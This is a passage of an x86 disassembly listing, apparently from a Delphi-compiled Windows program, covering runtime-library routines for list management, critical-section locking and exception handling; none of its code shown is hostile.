loc_40BF67:				; DATA XREF: sub_40BEA8+A8o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_40BF70	dd offset dword_40BFBC	; DATA XREF: sub_40C000+Fr
		dd 7 dup(0)
		dd offset dword_40BFBC
		dd 10h
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40BFBC	dd 6E495409h, 6E6F4374h, 0C08B7473h ; DATA XREF: CODE:0040BF70o
					; CODE:0040BF90o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40BFC8	proc near		; CODE XREF: sub_40C000+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		test	dl, dl
		jz	short loc_40BFD7
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40BFD7:				; CODE XREF: sub_40BFC8+5j
		mov	[eax+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax+0Ch], ecx
		test	dl, dl
		jz	short loc_40BFF9
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_40BFF9:				; CODE XREF: sub_40BFC8+20j
		pop	ebp
		retn	8
sub_40BFC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C000	proc near		; CODE XREF: CODE:00415E51p
					; CODE:00415E65p
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_40BF70
		call	sub_40BFC8
		mov	edx, eax
		mov	eax, ds:dword_41E620
		call	sub_40C428
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C000	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C02C	proc near		; CODE XREF: CODE:00413B63p
					; CODE:00413D37p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jl	short loc_40C062
		inc	esi
		lea	ebx, [ecx+4]

loc_40C043:				; CODE XREF: sub_40C02C+34j
		mov	edx, edi
		mov	eax, [ebx]
		call	sub_406E40
		test	al, al
		jz	short loc_40C05C
		mov	al, 1
		mov	edx, [ebp+var_4]
		mov	ecx, [ebx-4]
		mov	[edx], ecx
		jmp	short loc_40C064
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C05C:				; CODE XREF: sub_40C02C+22j
		add	ebx, 8
		dec	esi
		jnz	short loc_40C043

loc_40C062:				; CODE XREF: sub_40C02C+11j
		xor	eax, eax

loc_40C064:				; CODE XREF: sub_40C02C+2Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_40C02C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C06C	proc near		; CODE XREF: CODE:00413B53p
					; CODE:00413D27p

var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jl	short loc_40C09F
		inc	esi
		mov	ebx, [ebp+var_4]

loc_40C085:				; CODE XREF: sub_40C06C+31j
		cmp	eax, [ebx]
		jnz	short loc_40C099
		mov	[ebp+var_5], 1
		mov	eax, edi
		mov	edx, [ebx+4]
		call	sub_40351C
		jmp	short loc_40C0A3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C099:				; CODE XREF: sub_40C06C+1Bj
		add	ebx, 8
		dec	esi
		jnz	short loc_40C085

loc_40C09F:				; CODE XREF: sub_40C06C+13j
		mov	[ebp+var_5], 0

loc_40C0A3:				; CODE XREF: sub_40C06C+2Bj
		mov	al, [ebp+var_5]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_40C06C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C0B0	proc near		; DATA XREF: CODE:0040B904o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+8]
		test	bl, bl
		jle	short loc_40C0CD
		mov	eax, esi
		call	sub_402D2C

loc_40C0CD:				; CODE XREF: sub_40C0B0+14j
		pop	esi
		pop	ebx
		retn
sub_40C0B0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C0D0	proc near		; CODE XREF: sub_40C428+41p
					; sub_412604+14p
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	esi, [ebx+8]
		cmp	esi, [ebx+0Ch]
		jnz	short loc_40C0E5
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx]

loc_40C0E5:				; CODE XREF: sub_40C0D0+Dj
		mov	eax, [ebx+4]
		mov	[eax+esi*4], edi
		inc	dword ptr [ebx+8]
		test	edi, edi
		jz	short loc_40C0FD
		xor	ecx, ecx
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]

loc_40C0FD:				; CODE XREF: sub_40C0D0+20j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C0D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C104	proc near		; DATA XREF: CODE:0040B910o
		push	ebx
		mov	ebx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_40C2E4
		xor	edx, edx
		mov	eax, ebx
		call	sub_40C2A8
		pop	ebx
		retn
sub_40C104	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C11C	proc near		; CODE XREF: sub_40BEA8+50p
					; sub_40C288+15p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40C12C
		cmp	esi, [ebx+8]
		jl	short loc_40C13B

loc_40C12C:				; CODE XREF: sub_40C11C+9j
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_40C1B8

loc_40C13B:				; CODE XREF: sub_40C11C+Ej
		mov	edx, esi
		mov	eax, ebx
		call	sub_40C20C
		mov	edi, eax
		dec	dword ptr [ebx+8]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jge	short loc_40C169
		sub	eax, esi
		mov	ecx, eax
		shl	ecx, 2
		mov	eax, [ebx+4]
		lea	edx, [eax+esi*4]
		mov	eax, [ebx+4]
		lea	eax, [eax+esi*4+4]
		call	sub_4026B0

loc_40C169:				; CODE XREF: sub_40C11C+32j
		test	edi, edi
		jz	short loc_40C178
		mov	cl, 2
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]

loc_40C178:				; CODE XREF: sub_40C11C+4Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C11C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C17C	proc near		; CODE XREF: sub_40C180+9p
		mov	eax, [ebp+4]
		retn
sub_40C17C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C180	proc near		; CODE XREF: sub_40C1B8+2Dp
					; DATA XREF: CODE:0040B914o

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, ecx
		mov	ebx, edx
		call	sub_40C17C
		push	eax
		mov	[esp+0Ch+var_8], esi
		mov	[esp+0Ch+var_4], 0
		lea	eax, [esp+0Ch+var_8]
		push	eax
		push	0
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_40B748
		call	sub_40948C
		jmp	sub_402F98
sub_40C180	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C1B8	proc near		; CODE XREF: sub_40C11C+1Ap
					; sub_40C20C+19p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, edx
		xor	eax, eax
		push	ebp
		push	offset loc_40C200
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_404B80
		mov	edx, [ebp+var_4]
		mov	ecx, esi
		mov	eax, ds:off_40B8BC
		call	sub_40C180
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C207

loc_40C1F7:				; CODE XREF: CODE:0040C205j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40C1B8	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C200:				; DATA XREF: sub_40C1B8+Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C1F7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C207:				; DATA XREF: sub_40C1B8+3Ao
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C20C	proc near		; CODE XREF: sub_40BEA8+38p
					; sub_40C11C+23p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40C21B
		cmp	esi, [ebx+8]
		jl	short loc_40C22A

loc_40C21B:				; CODE XREF: sub_40C20C+8j
		mov	edx, ds:off_41DC24
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_40C1B8

loc_40C22A:				; CODE XREF: sub_40C20C+Dj
		mov	eax, [ebx+4]
		mov	eax, [eax+esi*4]
		pop	esi
		pop	ebx
		retn
sub_40C20C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40C234:				; DATA XREF: CODE:0040B908o
		mov	edx, [eax+0Ch]
		cmp	edx, 40h
		jle	short loc_40C24A
		mov	ecx, edx
		test	ecx, ecx
		jns	short loc_40C245
		add	ecx, 3

loc_40C245:				; CODE XREF: CODE:0040C240j
		sar	ecx, 2
		jmp	short loc_40C25B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C24A:				; CODE XREF: CODE:0040C23Aj
		cmp	edx, 8
		jle	short loc_40C256
		mov	ecx, 10h
		jmp	short loc_40C25B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C256:				; CODE XREF: CODE:0040C24Dj
		mov	ecx, 4

loc_40C25B:				; CODE XREF: CODE:0040C248j
					; CODE:0040C254j
		add	ecx, edx
		mov	edx, ecx
		call	sub_40C2A8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C268	proc near		; CODE XREF: sub_40C288+6p
					; sub_40C428+31p
		push	ebx
		xor	ecx, ecx
		jmp	short loc_40C26E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C26D:				; CODE XREF: sub_40C268+11j
		inc	ecx

loc_40C26E:				; CODE XREF: sub_40C268+3j
		cmp	ecx, [eax+8]
		jge	short loc_40C27B
		mov	ebx, [eax+4]
		cmp	edx, [ebx+ecx*4]
		jnz	short loc_40C26D

loc_40C27B:				; CODE XREF: sub_40C268+9j
		cmp	ecx, [eax+8]
		jnz	short loc_40C283
		or	ecx, 0FFFFFFFFh

loc_40C283:				; CODE XREF: sub_40C268+16j
		mov	eax, ecx
		pop	ebx
		retn
sub_40C268	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C288	proc near		; CODE XREF: sub_40C4C4+28p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40C268
		mov	esi, eax
		test	esi, esi
		jl	short loc_40C2A2
		mov	edx, esi
		mov	eax, ebx
		call	sub_40C11C

loc_40C2A2:				; CODE XREF: sub_40C288+Fj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40C288	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C2A8	proc near		; CODE XREF: sub_40C104+10p
					; CODE:0040C25Fp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	esi, [ebx+8]
		jl	short loc_40C2BB
		cmp	esi, 7FFFFFFh
		jle	short loc_40C2CA

loc_40C2BB:				; CODE XREF: sub_40C2A8+9j
		mov	edx, ds:off_41DBCC
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_40C1B8

loc_40C2CA:				; CODE XREF: sub_40C2A8+11j
		cmp	esi, [ebx+0Ch]
		jz	short loc_40C2DF
		mov	edx, esi
		shl	edx, 2
		lea	eax, [ebx+4]
		call	sub_4025C8
		mov	[ebx+0Ch], esi

loc_40C2DF:				; CODE XREF: sub_40C2A8+25j
		pop	esi
		pop	ebx
		retn
sub_40C2A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C2E4	proc near		; CODE XREF: sub_40C104+7p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40C2F8
		cmp	esi, 7FFFFFFh
		jle	short loc_40C307

loc_40C2F8:				; CODE XREF: sub_40C2E4+Aj
		mov	edx, ds:off_41DB94
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_40C1B8

loc_40C307:				; CODE XREF: sub_40C2E4+12j
		cmp	esi, [ebx+0Ch]
		jle	short loc_40C315
		mov	edx, esi
		mov	eax, ebx
		call	sub_40C2A8

loc_40C315:				; CODE XREF: sub_40C2E4+26j
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_40C335
		mov	edx, [ebx+4]
		lea	edx, [edx+eax*4]
		mov	ecx, esi
		sub	ecx, eax
		mov	eax, ecx
		shl	eax, 2
		xor	ecx, ecx
		xchg	eax, edx
		call	sub_4028D4
		jmp	short loc_40C34C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C335:				; CODE XREF: sub_40C2E4+36j
		mov	ebp, eax
		dec	ebp
		mov	edi, esi
		sub	edi, ebp
		jg	short loc_40C34C
		dec	edi

loc_40C33F:				; CODE XREF: sub_40C2E4+66j
		mov	edx, ebp
		mov	eax, ebx
		call	sub_40C11C
		dec	ebp
		inc	edi
		jnz	short loc_40C33F

loc_40C34C:				; CODE XREF: sub_40C2E4+4Fj
					; sub_40C2E4+58j
		mov	[ebx+8], esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C2E4	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C358	proc near		; CODE XREF: CODE:0040E4BDp
					; CODE:0040E4DFp ...
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_40C366
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40C366:				; CODE XREF: sub_40C358+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_402BAC
		lea	eax, [esi+8]
		push	eax
		call	j_InitializeCriticalSection_0
		mov	dl, 1
		mov	eax, ds:off_40B8BC
		call	sub_402BAC
		mov	[esi+4], eax
		mov	byte ptr [esi+20h], 0
		mov	eax, esi
		test	bl, bl
		jz	short loc_40C3A4
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_40C3A4:				; CODE XREF: sub_40C358+3Bj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40C358	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C3AC	proc near		; DATA XREF: CODE:0040B968o

var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_402D3C
		mov	[ebp+var_5], dl
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40C4B0
		xor	eax, eax
		push	ebp
		push	offset loc_40C40E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_402BDC
		mov	dl, [ebp+var_5]
		and	dl, 0FCh
		mov	eax, [ebp+var_4]
		call	sub_402BCC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C415

loc_40C3F9:				; CODE XREF: CODE:0040C413j
		mov	eax, [ebp+var_4]
		call	sub_40C514
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	j_DeleteCriticalSection_0
		retn
sub_40C3AC	endp ; sp = -14h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C40E:				; DATA XREF: sub_40C3AC+1Co
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C3F9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C415:				; DATA XREF: sub_40C3AC+48o
		cmp	byte ptr [ebp-5], 0
		jle	short loc_40C423
		mov	eax, [ebp-4]
		call	sub_402D2C

loc_40C423:				; CODE XREF: CODE:0040C419j
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C428	proc near		; CODE XREF: sub_40C000+20p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40C4B0
		xor	eax, eax
		push	ebp
		push	offset loc_40C4A4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+20h], 1
		jz	short loc_40C461
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_40C268
		inc	eax
		jnz	short loc_40C470

loc_40C461:				; CODE XREF: sub_40C428+27j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_40C0D0
		jmp	short loc_40C48E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C470:				; CODE XREF: sub_40C428+37j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+20h], 2
		jnz	short loc_40C48E
		mov	edx, ds:off_41DB84
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	eax, [eax]
		mov	ecx, ebx
		call	sub_40C1B8

loc_40C48E:				; CODE XREF: sub_40C428+46j
					; sub_40C428+4Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C4AB

loc_40C49B:				; CODE XREF: CODE:0040C4A9j
		mov	eax, [ebp+var_4]
		call	sub_40C514
		retn
sub_40C428	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C4A4:				; DATA XREF: sub_40C428+15o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C49B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C4AB:				; DATA XREF: sub_40C428+6Eo
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C4B0	proc near		; CODE XREF: sub_40BEA8+10p
					; sub_40C3AC+14p ...
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+8]
		push	eax
		call	j_EnterCriticalSection_0
		mov	eax, [ebx+4]
		pop	ebx
		retn
sub_40C4B0	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C4C4	proc near		; CODE XREF: sub_4154E0+79p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40C4B0
		xor	eax, eax
		push	ebp
		push	offset loc_40C507
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_40C288
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C50E

loc_40C4FE:				; CODE XREF: CODE:0040C50Cj
		mov	eax, [ebp+var_4]
		call	sub_40C514
		retn
sub_40C4C4	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C507:				; DATA XREF: sub_40C4C4+15o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C4FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C50E:				; DATA XREF: sub_40C4C4+35o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C514	proc near		; CODE XREF: sub_40BEA8+B2p
					; sub_40C3AC+50p ...
		add	eax, 8
		push	eax
		call	j_LeaveCriticalSection_0
		retn
sub_40C514	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C520	proc near		; CODE XREF: sub_40C6F0+1Bp
					; sub_415640+1Ap
					; DATA XREF: ...
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40DD28
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		test	bl, bl
		jle	short loc_40C549
		mov	eax, esi
		call	sub_402D2C

loc_40C549:				; CODE XREF: sub_40C520+20j
		pop	esi
		pop	ebx
		retn
sub_40C520	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40C54C	proc near		; CODE XREF: sub_40C820+65p
					; sub_415670+54p
					; DATA XREF: ...
		test	edx, edx
		jz	short loc_40C556
		xchg	eax, edx
		mov	ecx, [eax]
		call	dword ptr [ecx]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C556:				; CODE XREF: sub_40C54C+2j
		xor	edx, edx
		call	sub_40C560
		retn
sub_40C54C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40C560	proc near		; CODE XREF: sub_40C54C+Cp
					; CODE:0040C631p

var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40C616
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	esi, esi
		jz	short loc_40C5A3
		lea	edx, [ebp+var_104]
		mov	eax, [esi]
		call	sub_402B5C
		lea	edx, [ebp+var_104]
		lea	eax, [ebp+var_4]
		call	sub_4036EC
		jmp	short loc_40C5B0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C5A3:				; CODE XREF: sub_40C560+24j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_40C62C
		call	sub_403560

loc_40C5B0:				; CODE XREF: sub_40C560+41j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_114], eax
		mov	[ebp+var_110], 0Bh
		lea	edx, [ebp+var_104]
		mov	eax, [ebx]
		call	sub_402B5C
		lea	eax, [ebp+var_104]
		mov	[ebp+var_10C], eax
		mov	[ebp+var_108], 4
		lea	eax, [ebp+var_114]
		push	eax
		push	1
		mov	ecx, ds:off_41DB9C
		mov	dl, 1
		mov	eax, ds:off_4067F8
		call	sub_409548
		call	sub_402F98
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40C61D

loc_40C60D:				; CODE XREF: CODE:0040C61Bj
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40C560	endp ; sp = -12Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C616:				; DATA XREF: sub_40C560+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40C60D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C61D:				; DATA XREF: sub_40C560+A8o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 3
dword_40C62C	dd 6C696Eh		; DATA XREF: sub_40C560+46o
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40C630:				; DATA XREF: CODE:0040B9C4o
					; CODE:0040BA94o ...
		xchg	eax, edx
		call	sub_40C560
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
